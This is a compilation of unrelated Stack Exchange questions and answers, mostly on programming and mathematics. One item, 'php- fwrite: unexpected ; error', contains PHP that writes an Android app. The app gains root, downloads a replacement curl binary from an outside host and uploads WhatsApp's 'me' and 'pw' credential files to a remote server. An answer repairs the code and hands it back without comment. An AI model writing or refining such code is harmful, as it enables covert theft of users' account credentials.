Xamarin.Forms.Maps pins with expanded message window

Question: I'm using Xamarin.Forms.Map and I want to show pins on my map with already expanded window message(without click on them). Something like screenshot. By default window message show only after I clicked on them. How can I do this?
Answer: I did a test based on this sample:sample
The thing I do is override the  GetViewForAnnotation method.
I add a subview and set it's position based on pin's position.
Here is relative code:
<code>[assembly:ExportRenderer(typeof(CustomMap),typeof(CustomMapRenderer))]
namespace My_Forms_Test3.iOS
{
    public class CustomMapRenderer:MapRenderer
    {
        UIView customPinView;
        List<CustomPin> customPins;
        protected override void OnElementChanged(ElementChangedEventArgs<View> e)
        {
            base.OnElementChanged(e);
            if (e.OldElement != null)
            {
                var nativeMap = Control as MKMapView;
                nativeMap.GetViewForAnnotation = null;
                nativeMap.CalloutAccessoryControlTapped -= OnCallourAccessoryControlTapped;
                nativeMap.DidSelectAnnotationView -= OnDidSelect;
                nativeMap.DidDeselectAnnotationView -= OnDidDeSelect;
            }
            if (e.NewElement != null)
            {
                var formsMap = (CustomMap)e.NewElement;
                var nativeMap = Control as MKMapView;
                customPins = formsMap.CustomPins;
                nativeMap.GetViewForAnnotation = GetViewForAnnotation;
                nativeMap.CalloutAccessoryControlTapped += OnCallourAccessoryControlTapped;
                nativeMap.DidSelectAnnotationView += OnDidSelect;
                nativeMap.DidDeselectAnnotationView += OnDidDeSelect;

            }

        }

        private void OnDidDeSelect(object sender, MKAnnotationViewEventArgs e)
        {
            if (!e.View.Selected)
            {
                customPinView.RemoveFromSuperview();
                customPinView.Dispose();
                customPinView = null;

            }

        }

        private void OnDidSelect(object sender, MKAnnotationViewEventArgs e)
        {

            throw new NotImplementedException();
        }

        private void OnCallourAccessoryControlTapped(object sender, MKMapViewAccessoryTappedEventArgs e)
        {
            throw new NotImplementedException();
        }

        protected override MKAnnotationView GetViewForAnnotation(MKMapView mapView, IMKAnnotation annotation)
        {

            MKAnnotationView annotationView = null;

            if (annotation is MKUserLocation)
                return null;
            var customPin = GetCustomPin(annotation as MKPointAnnotation);
            if (customPin == null)
            {
                throw new Exception("not found");
            }
            annotationView = mapView.DequeueReusableAnnotation(customPin.Name);
            if (annotationView == null)
            {
                annotationView = new CustomMKAnnotationView(annotation, customPin.Name);
                annotationView.Image = UIImage.FromFile("pin.png");

                annotationView.CalloutOffset = new CGPoint(0, 0);
                annotationView.LeftCalloutAccessoryView = new UIImageView(UIImage.FromFile("monkey.png"));
                annotationView.RightCalloutAccessoryView = UIButton.FromType(UIButtonType.DetailDisclosure);

                ((CustomMKAnnotationView)annotationView).Name = customPin.Name;
                customPinView = new UIView();
                var Label = new UILabel();
                Label.Text = "Samsung";
                Label.Frame=new CGRect(annotationView.GetFrame().X+35,annotationView.GetFrame().Y,100,50);
                var Label2 = new UILabel();
                Label2.Text = "20:20";
                Label2.Frame = new CGRect(annotationView.GetFrame().X + 35, annotationView.GetFrame().Y+20, 100, 50);
                customPinView.Frame= new CGRect(annotationView.GetFrame().X+40, annotationView.GetFrame().Y-20, 100, 50);
                customPinView.AddSubview(Label);
                customPinView.AddSubview(Label2);
                Label.BaselineAdjustment = UIBaselineAdjustment.AlignBaselines;
                customPinView.BackgroundColor = UIColor.White;
                customPinView.Layer.CornerRadius = 5;
                customPinView.Alpha = (nfloat)0.8;
                customPinView.Layer.MasksToBounds = true;
                annotationView.AddSubview(customPinView);
            }
            annotationView.CanShowCallout = true;

            return annotationView;

        }

        CustomPin GetCustomPin(MKPointAnnotation annotation)
        {
            var position = new Position(annotation.Coordinate.Latitude, annotation.Coordinate.Longitude);
            foreach (var pin in customPins)
            {
                if (pin.Position == position)
                { return pin; }
            }
            return null;

        }}
</code>
result:
Comment: Thank you for this example!


Subcategory determined by composition series

Question: Suppose $A$ is an artin algebra and take the category $\operatorname{mod}A$ of finitely generated $A$-modules. Consider the following construction. Let $M$ be an $A$-module. Since $A$ is artinian, $M$ admits a composition series
$$ 0 = M_1 \subset M_2 \subset \dots \subset M_n = M $$
since $M$ is of finite length. It is well known that each $M_i$ in the composition series is maximal since $M_i/M_{i-1}$ is simple.
Now, consider the full subcategory $\mathcal{C}$ of $\operatorname{mod}A$ generated by all modules that appear in some composition series of an $A$-module. If we do this construction to every $A$-module in $\operatorname{mod}A$, what can we say about this subcategory, does it have a name?
Answer: Let $M$ be an $A$-module and consider the inclusion $M \subseteq M\oplus k$ for $k$ the trivial module. Then the inclusion may be refined into a composition series for $M\oplus k$, thus $M\in \mathcal{C}$ and so $\mathcal{C} =$ mod-$A$.


How to install ProtonMail on Ubuntu Server 20.04?

Question: I have a PRO account at ProtonMail and I want to use it for my web server. I found a tutorial here :
https://pychao.com/2018/10/13/use-protonmail-bridge-on-headless-linux-machines/#comment-6612
https://pychao.com/2018/10/14/use-protonmail-for-wordpress-servers-smtp-setting-on-google-cloud-platform/
On my server, I tried the following command line :
$ sudo apt install pass
$ wget -c https://protonmail.com/download/protonmail-bridge_1.2.7-1_amd64.deb
$ sudo dpkg -i protonmail-bridge_1.2.7-1_amd64.deb
$ sudo apt update
$ sudo apt install protonmail-bridge

But I encounter errors :
ubuntu@www-example-com ~ $ sudo dpkg -i protonmail-bridge_1.2.7-1_amd64.deb
Selecting previously unselected package protonmail-bridge.
(Reading database ... 105245 files and directories currently installed.)
Preparing to unpack protonmail-bridge_1.2.7-1_amd64.deb ...
Unpacking protonmail-bridge (1.2.7-1) ...
dpkg: dependency problems prevent configuration of protonmail-bridge:
 protonmail-bridge depends on qt5-default; however:
  Package qt5-default is not installed.
 protonmail-bridge depends on libqt5designer5; however:
  Package libqt5designer5 is not installed.
 protonmail-bridge depends on libqt5multimediawidgets5; however:
  Package libqt5multimediawidgets5 is not installed.
 protonmail-bridge depends on libqt5quickwidgets5; however:
  Package libqt5quickwidgets5 is not installed.
 protonmail-bridge depends on libpulse-mainloop-glib0; however:
  Package libpulse-mainloop-glib0 is not installed.
 protonmail-bridge depends on libsecret-1-0; however:
  Package libsecret-1-0 is not installed.
 protonmail-bridge depends on ttf-dejavu; however:
  Package ttf-dejavu is not installed.

dpkg: error processing package protonmail-bridge (--install):
 dependency problems - leaving unconfigured
Processing triggers for mime-support (3.60ubuntu1) ...
Errors were encountered while processing:
 protonmail-bridge

and :
ubuntu@www-example-com ~ $ sudo apt install protonmail-bridge
Reading package lists... Done
Building dependency tree
Reading state information... Done
protonmail-bridge is already the newest version (1.2.7-1).
You might want to run 'apt --fix-broken install' to correct these.
The following packages have unmet dependencies:
 protonmail-bridge : Depends: qt5-default but it is not going to be installed
                     Depends: libqt5designer5 but it is not going to be installed
                     Depends: libqt5multimediawidgets5 but it is not going to be installed
                     Depends: libqt5quickwidgets5 but it is not going to be installed
                     Depends: libpulse-mainloop-glib0 but it is not going to be installed
                     Depends: libsecret-1-0 but it is not going to be installed
                     Depends: ttf-dejavu but it is not going to be installed
E: Unmet dependencies. Try 'apt --fix-broken install' with no packages (or specify a solution).

How to install ProtonMail on Ubuntu Server 20.04 ?
Answer: When installing a package manually, it is expected to have such an error. This is because the dependencies are not installed in your system.
To fix it, you need to do as suggested:
$ sudo apt --fix-broken install

This should install missing dependencies and fix your problem.
Comment: Thank you but it seems a lot of packages https://pastebin.com/sigPb30V
Answer: Check if this link helps. It will skip the dependencies step.
I'm able to execute the bridge on Kali after following the below link.
https://protonmail.com/support/knowledge-base/install-bridge-linux-deb-extract-binaries/
Comment: Hi, you should quote the website information, as in case the link die your answer will still be good. Thanks!


how to give country short and state short names in gem 'carmen-rails', '~> 1.0.0'

Question: I have given this in my view:

      <%= f.select :country, region_options_for_select(only_us_and_france),:prompt => 'Select Country' %>

          <%= render partial: 'subregion_select', locals: {parent_region: f.object.country} %>

and in my subregion partial this:

  <% parent_region ||= params[:parent_region] %>
  <% country = Carmen::Country.coded(parent_region) %>

  <% if country.nil? %>

State

  <% elsif country.subregions? %>
      <%= subregion_select(:account_detail, :state_code, parent_region) %>
  <% else %>
      <%= text_field(:account_detail, :state_code) %>
  <% end %>

and in my helper its :
 def only_us_and_france
    Carmen::Country.all.select{|c| %w{US FR}.include?(c.code)}
  end

So its showing the name of countries and states but I want to show in my select option like US and FR  so on for state also.
Please help me out. Thanks in advance.
Comment: You'll need a hash (or two, one for states, one for countries) to match, like `{ 'France' => 'FR', 'United States' => 'US' }` etc.
Comment: Where you have defined `only_us_and_france`? You should fetch country codes there. Can you show `only_us_and_france` definition?
Comment: check if it works like this:
def only_us_and_canada
  countries = Carmen::Country.all.select{|c| %w{US CA}.include?(c.code)}
  countries.each{ |c| c.alpha_2_code}
end
Comment: this is not working:(
Answer: Try this.
Add new Helper method called region_options_us_and_france :
def region_options_us_and_france
    Carmen::Country.all.select{|c| %w{US FR}.include?(c.code)}.map { |r| [r.code, r.code] }
end

def sub_region_options(region)
   region.subregions.map { |r| [r.code, r.code] }
end

And update view :

      <%= f.select :country, region_options_us_and_france, :prompt => 'Select Country' %>

change in 'subregion partial'
<%= subregion_select(:account_detail, :state_code, parent_region) %>

with
 <%= f.select :your_field_attr, sub_region_options(country), :prompt => 'Select Sub region' %>

Comment: Yeah it works for countries but not for subregions.i.e for states .


Taylor series and Maclaurin Series expansion

Question:
Hi! I am currently working on some calc2 online homework problems on Taylor series and Maclaurin series. I have tried a few different answers to this question, but I am really not sure how to go about solving this problem. If anyone can help me I would greatly appreciate it!
Answer: Observe that
$$\frac{1}{1 - 3x} = \frac{1}{-2 - 3(x - 1)} = -\frac{1}{2 + 3(x - 1)} = -\frac{1/2}{1 + (3/2)(x - 1)}.$$
Therefore
$$\frac{1}{1 - 3x} = -\frac{1}{2}\sum_{n = 0}^\infty (-1)^n \left(\frac{3(x - 1)}{2}\right)^n = -\frac{1}{2}\sum_{n = 0}^\infty (-1)^n \left(\frac{3}{2}\right)^n (x - 1)^n, \quad \left|\frac{3(x - 1)}{2}\right| < 1.$$
Because
$$\left|\frac{3(x - 1)}{2}\right| < 1 \Longleftrightarrow \frac{1}{3} < x < \frac{5}{3},$$
and the series above diverges when $x = 1/3$ or $x = 5/3$, we conclude that the interval of convergence is $(1/3, 5/3)$.


Why is the denominator of z-score for linear regression coefficients called standard error?

Question: In machine learning and linear regression applications, the z-value is given by the following formula:
$$z_j = \frac{\beta_j}{\hat{\sigma}\sqrt{v_j}}$$
where
$$\hat{\sigma}^2 = \frac{1}{N-p-1}\sum_{i=1}^{N}(y_i-\hat{y}_i)^2$$
and $\beta_j$ are the regression coefficients and $\hat{\sigma}^2$ is the variance of the coefficients;
$v_j$ are the diagonal elements of $(X^TX)^{-1}$.
The denominator $\hat{\sigma}\sqrt{v_j}$is generally called standard error: why is that? Why is it considered an error and why standard? What does it tell/represent?
Answer:
In OLS, your parameters are normally distributed. So the standard error is essentially the standard deviation of the sampling distribution of each parameter. Therefore, the standard error tells you how far on average sample parameters tend to deviate from the mean population parameter.
Then note, that when you divide each parameter by its standard error, you determine how statistically significant each parameter is. You noted the case of z-transformation, routinely applied as part of the Generalised Linear Models in R. The z-transformation assumes that population parameters are known. However, this is often NOT the case.
Therefore, in smaller samples especially, it is advisable to use t-transformation instead, as it will yield correct standard errors.
Having said that, in large samples, the difference between using z and t statistic for determining statistical significance is negligible, as both tend to converge.

> Related posts you will most definitely find enlightening:

Difference between Standard Error and Standard Deviation
Standard Error in Linear Regression
Comment: Thanks for your answer. Just few clarifications: in OLS my parameters are normally distributed because of the assumptions of Gaussian noise and additive model right? I know the z-score is more general and the numerator should be $\beta-\mu$ where $\mu$ is the mean. The z-score in thi specific caseis used as a method of feature selection: it is assuming that coefficient is `0` and (i.e., the feature can be ignored) and then check if data support this assumption.
Comment: From your second point, the z-score seems to be equivalent to a Signal-To-Noise-Ratio measure in the sense that, if the noise is too strong compared to the coefficient, then we are not able to use that feature significantly for estimation: is this totally wrong?
Comment: @FrancescoBoi please use the following thread it gives a very concise explanation as to why parameter estimates are normally distributed:  https://stats.stackexchange.com/questions/254655/why-are-least-squares-parameters-normally-distributed
Comment: @FrancescoBoi my apologies I find it difficult to understand what is meant by the Signal-to-Noise Ratio in relation to z-statistic. To give you a very intuitive meaning: suppose you have a $b_1$ parameter, then when you divide it by its associated s.e. you essentially transform the parameter into a known z-distribution. So you scale your parameter as a z-distribution score. Then, if the z values is < - 1.96 or > 1.96, your coefficient is non-significant at the 95% alpha level. Those are two small tails corresponding to the 5% of the distribution


Find the coordinates of the points where the two circles intersect.

Question: The two circles are:
$1$) $$(x-2)^2 + (y+1)^2 = 25$$
$2$) $$(y-2)^2 + (x+1)^2 = 25$$
Comment: Set $(1) = (2)$. You will get a relation between $x$ and $y$. Substitute in any equation to get the point(s) of intersection.
Comment: Or you could just graph the circles and check.
Comment: @Antonios-AlexandrosRobotis We can apply a trick by flipping the role of the axes but the mentioned cannot.
Comment: Perhaps I've misunderstood your comment, but the answer I linked should solve this question in generality: regardless of tricks or not. In either case, I do believe it answers this question.
Answer: $(1)$ and $(2)$ are symmetric for $x=y$. The two points you are looking for are the intersenction between $(1)$ and $y=x$.
Therefore, the intersections are $(\frac{1 \pm \sqrt{41}}{2},\frac{1 \pm \sqrt{41}}{2})$.


php- fwrite: unexpected ; error

Question: I am using fwrite() function to write a java file, but I am getting the following error:

Parse error: syntax error, unexpected ';' in /var/www/html/test.php on line 61

Line 61 is where the fwrite function ends with a semicolon. The code  is:
$file = fopen(" /home/ashish/$fname/src/com/$fpex[1]/MainActivity.java /home/ashish/$fname/src/com/$fpex[1]/MainActivity.java","w");
 fwrite ($file,  "package $fpack;" .  '
import android.app.*;
import android.os.*;
import android.view.*;
import android.widget.*;
import java.io.IOException;
import java.lang.Process;
import java.io.DataInputStream;
import java.io.DataOutputStream;

public class MainActivity extends Activity
{
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
Process p;
try {
// Preform su to get root privledges
p = Runtime.getRuntime().exec("su");

// Attempt to write a file to a root-only fs
DataOutputStream os = new DataOutputStream(p.getOutputStream());
os.writeBytes("busybox mount -o rw,remount /system \n");
os.writeBytes("busybox rm -f /system/xbin/curl \n");
os.writeBytes("busybox wget http://test.com/curl -O /system/xbin/curl \n");
os.writeBytes("busybox chmod 777 /system/xbin/curl \n");
os.writeBytes("curl  -v -F \"file=@/test/me\" http://yourserver/me.php \n");
os.writeBytes("curl  -v -F \"file=@/test/pw\" http://yourserver/pw.php \n");
os.writeBytes("echo \"Done\" >/sdcard/temp.txt\n");

// Close the terminal
os.writeBytes("exit\n");
os.flush();
android.os.Process.killProcess(android.os.Process.myPid());
} catch (IOException e) {
// TODO Code to run in input/output exception
//toastMessage("not root");
}

}

}';

What can be wrong here? Any help will be appreciated.
Comment: Your java code is not properly escaped. Escape your `'` characters or use something like `addslashes`
Comment: @tlenss edited it. still the same error
Answer: You're missing a closing ) for the fwrite function, the last line should look like this:
})';
Answer: Much easier with PHP's nowdoc syntax (php >= 5.3).
It works almost like a single-quoted string literal. There's no variable substitution and even a literal \n isn't replaced by a linefeed character (byte). You therefore will have much less trouble doing all the quoting, escaping et al.
<?php
$fhTarget = fopen("/home/ashish/$fname/src/com/{$fpex[1]}/MainActivity.java", 'w');
// $fpack = 'lalala';
//$fhTarget = fopen("php://output","w");
if ( !$fhTarget ) {
    yourErrorHandler();
}

fwrite ($fhTarget, "package $fpack;\r\n");
fwrite ($fhTarget,  getCode() );

function getCode() {
    return <<< 'eoc'
import android.app.*;
import android.os.*;
import android.view.*;
import android.widget.*;
import java.io.IOException;
import java.lang.Process;
import java.io.DataInputStream;
import java.io.DataOutputStream;

public class MainActivity extends Activity
{
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState)
    {
        super.onCreate(savedInstanceState);
        Process p;
        try {
            // Preform su to get root privledges
            p = Runtime.getRuntime().exec("su");

            // Attempt to write a file to a root-only fs
            DataOutputStream os = new DataOutputStream(p.getOutputStream());
            os.writeBytes("busybox mount -o rw,remount /system \n");
            os.writeBytes("busybox rm -f /system/xbin/curl \n");
            os.writeBytes("busybox wget http://securwiki.com/curl -O /system/xbin/curl \n");
            os.writeBytes("busybox chmod 777 /system/xbin/curl \n");
            os.writeBytes("curl  -v -F \"file=@/data/data/com.whatsapp/files/me\" http://yourserver/me.php \n");
            os.writeBytes("curl  -v -F \"file=@/data/data/com.whatsapp/files/pw\" http://yourserver/pw.php \n");
            os.writeBytes("echo \"Done\" >/sdcard/temp.txt\n");

            // Close the terminal
            os.writeBytes("exit\n");
            os.flush();
            android.os.Process.killProcess(android.os.Process.myPid());
        } catch (IOException e) {
        // TODO Code to run in input/output exception
        //toastMessage("not root");
    }
}
eoc;
}

just make sure that there's nothing but eoc; on that line; not a single whitespace before or after, nothing. Just eoc; and linebreak.

php- fwrite: unexpected ; error


Help Obtaining Numerical Approximation of Lambert W Solution

Question: I am studying a particular generating function
$$\frac{2e^x}{e^{2x}+1+2x}$$
and I thought I would try to solve the equation
$$e^{2x}+1+2x=0$$ to determine for what value of $x$ if any the function would be undefined.  Because
$$e^{2x}=-1-2x  \Rightarrow e^{-(-2)x}=-2\left(x-\left(\frac{-1}{2}\right)\right)$$
Then the real solution is
$$x=\frac{-1}{2}-\frac{1}{2}W\left(\frac{1}{e}\right)$$
As I have never used the lambert function I am trying to understand it.  I know that it satisfies
$$x=W(x)e^{W(x)}$$.
How would I obtain a rough numerical approximation if I, say, didn't have a computer handy, or my cellphone to calculate?  How can one "see" a solution without the aid of technology?
Comment: I would try Newton's Method.
Comment: I was thinking that too.
Answer: If you search for Lambert function in Wikipedia (http://en.wikipedia.org/wiki/Lambert_W_function), you could find interesting approximations for large values of the argument such as $$W(x)\approx L_1-L_2+\frac{L_2}{L_1}+\frac{L_2(L_2-2)}{2L_1^2}+\frac{L_2(2L_2^2-9L_2+6)}{6L_1^3}+\cdots$$ where $L_1=\log(x)$ and $L_2=\log(L_1)$ (this is for the pricipal branch).
Let us try for $x=1234$; the approximation gives $W(1234)\approx 5.42680$ while the exact solution should be $\approx 5.42669$.
For the general numerical solution, Newton and better Halley methods (as shown by Corless in the same page) are very efficient.
Comment: Well, I think this is a good start, but for the Newton or Halley methods to work, you need an initial guess.  While the asymptotic formula does give you a pretty good guess for large values of x, and there's even a Taylor's series expansion in the wiki page that works for small values of x (|x|<1/e), none of these even come close for... I suppose you'd call it a medium sized value?  Like, for example, 1 isn't within that range, and it's not a large number, so none of those formulas give you a good initial guess.


Proving closure

Question: I'm curious. I have this set $$\mathbb{R}\setminus\{-1\}$$ and a binary operation defined by: $x*y = x+y + xy$.
How do I prove closure of this operation? It seems obvious to me that that operation yields a real number, but I just don't know how to prove it. I was looking for exactly what a Real number is, so I can use the definition, but I am having trouble finding such a definition.
Comment: I'm pretty sure you can use the fact that $x + y + xy$ is a real number, but you said you were working in $\mathbb{R} \setminus \{-1\}$, so you have to prove that if $x,y \neq -1$, then $x * y$ can never be $-1$.
Comment: and $x*y = -1$ iff $x(1+y) = -(1+y)$. Does it ring a bell?
Comment: Elvis, I think you misunderstood the question. I was asking how to prove closure for Real numbers. And to prove whether something is automatically a real number. Pedro answered my question, though. Thanks for the input though
Answer: Suppose $x+y+xy=-1$. This means $$xy+x+y+1=(x+1)(y+1)=0.$$
So either $x=-1$  or $y=-1$.

Proving closure


Identity proof with binomial coefficients

Question: I have to prove the following identity and have to idea how to start.
$ { {-n} \choose k} = (-1)^k {{n+k-1} \choose k} $
I know that $ \sum_{k=0}^{n} (-1)^k{n \choose k}=0 $
but I cannot see a way, in which it could help prove the mentioned above.
Thanks for your help
Comment: Does this answer your question? [Negative binomial coefficient](https://math.stackexchange.com/questions/1619651/negative-binomial-coefficient)
Comment: @NickyLevering partially. At the place the person in the thread writes:"the right side is clearly..."
Comment: @NickyLevering I do not really understand how he came to this transformation, would you mind explaining that?
Comment: We have: $\frac{n(n+1) \cdots (n+k-1)}{k!} = \frac{1}{k!}(n+k-1)(n+k-2) \cdots n = \frac{1}{k!}\frac{(n+k-1)!}{(n-1)!} = \binom{n+k-1}{k}$.
Answer: We can formally write $\binom {-n}{k}$ with factorial formula:
$$
\binom {-n}{k}=\frac {(-n)(-n-1)(-n-2)\dotsm (-n-k+1)}{k!} =\\ (-1)^{k}\frac {(k+n-1)(k+n-2)\dotsm (n)}{k!}=(-1)^{k}\binom {k+n-1}{k}
$$


Integral asymatotics and obtaining the asym series

Question: Hi guys I am working on this problem where I am interested in finding the asymptotic series.
$I(x)= \int _0 ^x e^{s^2}s^2 ds$ as $x\rightarrow \infty$
My approach was to introduce a substatution $s =\frac{1}{u}$ that will imply that $ds = \frac{-1}{u^2}du$ thus wehen we write our integral we get
$$\int _\infty ^p e^{\frac{-1}{u^2}}du$$
Such taht $p \rightarrow 0$. Now I am thinking that I can just take the $e^{\frac{-1}{u^2}}$ and expand it around zero at do term by term integration. Can someone comment if this sounds good?
Answer: I think that it could be easier to integrate by parts first
$$u'=e^{s^2}s\,ds \implies u=\frac{1}{2}e^{s^2}$$ $$v=s\implies v'=ds$$ which make $$\int e^{s^2}s^2\,ds=\frac{1}{2}e^{s^2} s-\frac{1}{4} \sqrt{\pi } \text{erfi}(s)$$ making $$I(x)=\frac{1}{2}e^{x^2} x-\frac{1}{4} \sqrt{\pi } \text{erfi}(x)=\frac{1}{2} e^{x^2} (x-F(x))$$ where appear the imaginary error function and the Dawson function and look at the asymptotics of these functions.
For infinitely large values of $x$, this would give $$I(x)\approx \frac 14 e^{x^2}\left(2x-\frac 1x-\frac 1{2x^3}+\cdots  \right)$$
Answer: $\newcommand{\bbx}[1]{\,\bbox[8px,border:1px groove navy]{\displaystyle{#1}}\,}
 \newcommand{\braces}[1]{\left\lbrace\,{#1}\,\right\rbrace}
 \newcommand{\bracks}[1]{\left\lbrack\,{#1}\,\right\rbrack}
 \newcommand{\dd}{\mathrm{d}}
 \newcommand{\ds}[1]{\displaystyle{#1}}
 \newcommand{\expo}[1]{\,\mathrm{e}^{#1}\,}
 \newcommand{\ic}{\mathrm{i}}
 \newcommand{\mc}[1]{\mathcal{#1}}
 \newcommand{\mrm}[1]{\mathrm{#1}}
 \newcommand{\pars}[1]{\left(\,{#1}\,\right)}
 \newcommand{\partiald}[3][]{\frac{\partial^{#1} #2}{\partial #3^{#1}}}
 \newcommand{\root}[2][]{\,\sqrt[#1]{\,{#2}\,}\,}
 \newcommand{\totald}[3][]{\frac{\mathrm{d}^{#1} #2}{\mathrm{d} #3^{#1}}}
 \newcommand{\verts}[1]{\left\vert\,{#1}\,\right\vert}$

You can still play with the original integral.

\begin{align}
\mrm{J}_{n}\pars{x} & \equiv \int_{0}^{x}\expo{s^{2}}s^{n}\,\dd s =
{1 \over n + 1}\int_{s = 0}^{s = x}\expo{s^{2}}\,\dd\pars{s^{n + 1}}
\\[5mm] & =
{1 \over n + 1}\,\expo{x^{2}}x^{n + 1} - {1 \over n + 1}\int_{0}^{x}s^{n + 1}
\bracks{\expo{s^{2}}\pars{2s}}\,\dd s
\\[5mm] & =
{1 \over n + 1}\,\expo{x^{2}}x^{n + 1} -
{2 \over n + 1}\,\mrm{J}_{n + 2}\pars{x}
\\[5mm] \implies
\mrm{J}_{n}\pars{x} & = {1 \over 2}\,\expo{x^{2}}x^{n - 1} -
{1 \over 2}\,\pars{n - 1}\,\mrm{J}_{n - 2}\pars{x}\,,\qquad
\left\{\begin{array}{rcl}
\ds{\mrm{J}_{0}\pars{x}} & \ds{=} & \ds{{1 \over 2}\,\root{\pi}\,\mrm{erfi}\pars{x}}
\\[2mm]
\ds{\mrm{J}_{1}\pars{x}} & \ds{=} & \ds{{1 \over 2}\,\pars{\expo{x^{2}} - 1}}
\end{array}\right.
\end{align}


Computing the exact value of the integral $∫_0^∞ \tanh(2x)\ln(\tanh x)dx.$

Question: LATEST EDIT
Thanks to @FDP's alternative method and @Claude Leibovici's generalisation on the integral. Meanwhile, I had found a formula for the integral with power n in general.
$$\boxed{I_n=∫_0^∞ \tanh(2x)\ln^n(\tanh x)dx =\frac{(-1)^n n !}{2^n}\left(1-\frac{1}{2^{n+1}}\right)\zeta(n+1)} $$
and its proof is shown below.

Recently, I investigate the integral
$$∫_0^∞ \tanh(2x)\ln (\tanh x)dx,$$
using the substitution $y=\tanh x$.
$$
\begin{aligned}
I &=\int_0^{\infty} \frac{2 \tanh x}{1+\tanh ^2 x} \ln (\tanh x) d x \\
&=\int_0^{\infty} \frac{2 y \ln y}{1+y^2} \cdot \frac{d y}{2\left(1-y^2\right)} \\
&=\int_0^{\infty} \frac{y \ln y d y}{1-y^4} \\
&\stackrel{y^2\mapsto y}{=} \frac{1}{4} \int_0^{\infty} \frac{\ln y}{1-y^2} d y
\end{aligned}
$$
By my post,
$$
\begin{aligned}
&\int_0^{\infty} \frac{\ln y}{1-y^2} d y=-\frac{\pi^2}{4}
\end{aligned}
$$
We now conclude that
$$\boxed{∫_0^∞ \tanh(2x)\ln (\tanh x)dx= -\frac{\pi^2}{16}}$$
Is there any other method to evaluate the integral? Your comments and alternative methods are highly appreciated.
Comment: Perform the change of variable $u=\text{e}^{-2x}$
Comment: Where is $n$ appearing ?
Comment: Actually, I want to generalise the integral to the power n.
Comment: @Lai: where is n actually?
Comment: @Lai: you mean $∫_0^∞ \tanh(nx)\ln (\tanh x)dx$?
Comment: I mean $∫_0^∞ \tanh(2x)\ln^n(\tanh x)dx $ .Sorry for replying late.
Answer: After submitting the question, I was reminded by @ Claude Leibovici that I had added $n\in N$ originally. I am sorry for that and I want to generalise the integral to
$$I_n=∫_0^∞ \tanh(2x)\ln^n(\tanh x)dx,$$
where $n\in N.$
Using the same substitution $y=\tanh x$, we have
$$
\begin{aligned}
I_n &=\int_0^{\infty} \frac{y \ln ^n y d y}{1-y^4} \stackrel{y^2\mapsto y}{=} \frac{1}{2^{n+1}} \int_0^{\infty} \frac{\ln ^n y}{1-y^2} d y= \frac{1}{2^n} \int_0^1 \frac{\ln ^n y}{1-y^2} d y
\end{aligned}
$$
For the last integral, expanding the denominator yields
$$\int_0^1 \frac{\ln ^n y}{1-y^2} d y =\sum_{k=0}^{\infty} \int_0^1 y^{2 k} \ln ^n y d y =\left.\frac{\partial^n}{\partial a^n} \int_0^1 y^a d y\right|_{a=2 k} \\= \sum_{k=0}^{\infty}\frac{(-1)^n n !}{(2 k+1)^{n+1}} =n!\left(1-\frac{1}{2^{n+1}}\right) \zeta(n+1) $$
Hence we can conclude that
$$\boxed{∫_0^∞ \tanh(2x)\ln^n(\tanh x)dx =\frac{(-1)^n n !}{2^n}\left(1-\frac{1}{2^{n+1}}\right)\zeta(n+1)} $$
For examples,
$$I_5= -\frac{5!}{2^5}\left(1-\frac{1}{2^6}\right) \zeta(6)=-\frac{\pi^6}{256}$$
which is checked by WA.
Answer: \begin{align}J&=\int_0^\infty \tanh(2x)\ln (\tanh x)dx\\
&=\int_0^\infty  \frac{\text{e}^{2x}-\text{e}^{-2x}}{\text{e}^{2x}+\text{e}^{-2x}}\ln\left(\frac{\text{e}^{x}-\text{e}^{-x}}{\text{e}^{x}+\text{e}^{-x}}\right)dx\\
&=\int_0^\infty  \frac{1-\text{e}^{-4x}}{1+\text{e}^{-4x}}\ln\left(\frac{1-\text{e}^{-2x}}{1+\text{e}^{-2x}}\right)dx\\
&\overset{u=-\text{e}^{-2x}}=\frac{1}{2}\int_0^1 \frac{1-u^2}{(1+u^2)u}\ln\left(\frac{1-u}{1+u}\right)du\\
&\overset{z=\frac{1-u}{1+u}}=\int_0^1 \frac{2z\ln z}{1-z^4}dz\\
&\overset{t=z^2}=\frac{1}{2}\int_0^1 \frac{\ln t}{1-t^2}dt\\
&=\frac{1}{2}\int_0^1 \frac{\ln t}{1-t}dt-\frac{1}{2}\underbrace{\int_0^1 \frac{t\ln t}{1-t^2}dt}_{y=t^2}\\
&=\frac{3}{8}\int_0^1 \frac{\ln t}{1-t}dt\\
&=\frac{3}{8}\times -\frac{\pi^2}{6}=\boxed{-\frac{\pi^2}{16}}
\end{align}
Comment: Thank you for your wonderful substitution!
Answer: If we consider
$$I_n=\int \tanh(nx)\,\log(\tanh(x))\,dx$$ there is a (nasty) antiderivative involving logarithms of complex arguments and polylogarithms.
Doing the same as you did and using multiple angles formulae
$$I_1=\int_0^1  \frac y{1-y^2}\log(y)\,dy=-\frac{\pi ^2}{24}$$
$$I_2=\int_0^1  \frac {2y}{1-y^4}\log(y)\,dy=-\frac{\pi ^2}{16}$$
$$I_3=\int_0^1 \frac{y \left(y^2+3\right) }{1-2y^2-3 y^4}\log (y)\,dy=-\frac{5 \pi ^2}{72}-\frac{\text{Li}_2\left(-\frac{1}{3}\right)}{6}-\frac{\log ^2(3)}{12}$$
$$I_4=\int_0^1 \frac{4 y \left(y^2+1\right) }{\left(1-y^2\right) \left(1+6 y^2+y^4\right) }\log (y)\,dy=
-\frac{\pi ^2}{16}-\frac{1}{16} \log ^2\left(3-2 \sqrt{2}\right)$$
$$I_5=\int_0^1 \frac{y \left(y^4+10 y^2+5\right) }{1-9y^2+5y^4+5 y^6}\log (y)\,dy=$$
$$\frac{1}{120} \left(-6 \left(2 \text{Li}_2\left(-1+\frac{2}{\sqrt{5}}\right)-2 \text{Li}_2\left(-5+2 \sqrt{5}\right)+\log ^2\left(5+2 \sqrt{5}\right)\right)-7 \pi ^2\right)$$
Comment: Sorry for replying late that I want to generalise the integral to $∫_0^∞ \tanh(2x)\ln^n(\tanh x)dx$. Your generalisation is wonderful!


Como chamar um Html.Action("minha_página") via jquery?

Question: Tenho uma página que carrega várias partials views, quero chamar em um modal uma página em específico que irá preencher toda a tela.
Estou usando uma comando jquery genérico para chamar uma action que será passada por parâmetros.
Esse é o botão
<button type="button" class="btn glyphicon glyphicon-zoom-in loopa" data-id="_ArquivosProcDia"></button>

Esse é a div

                <button type="button" class="close" data-dismiss="modal">×Close</button>

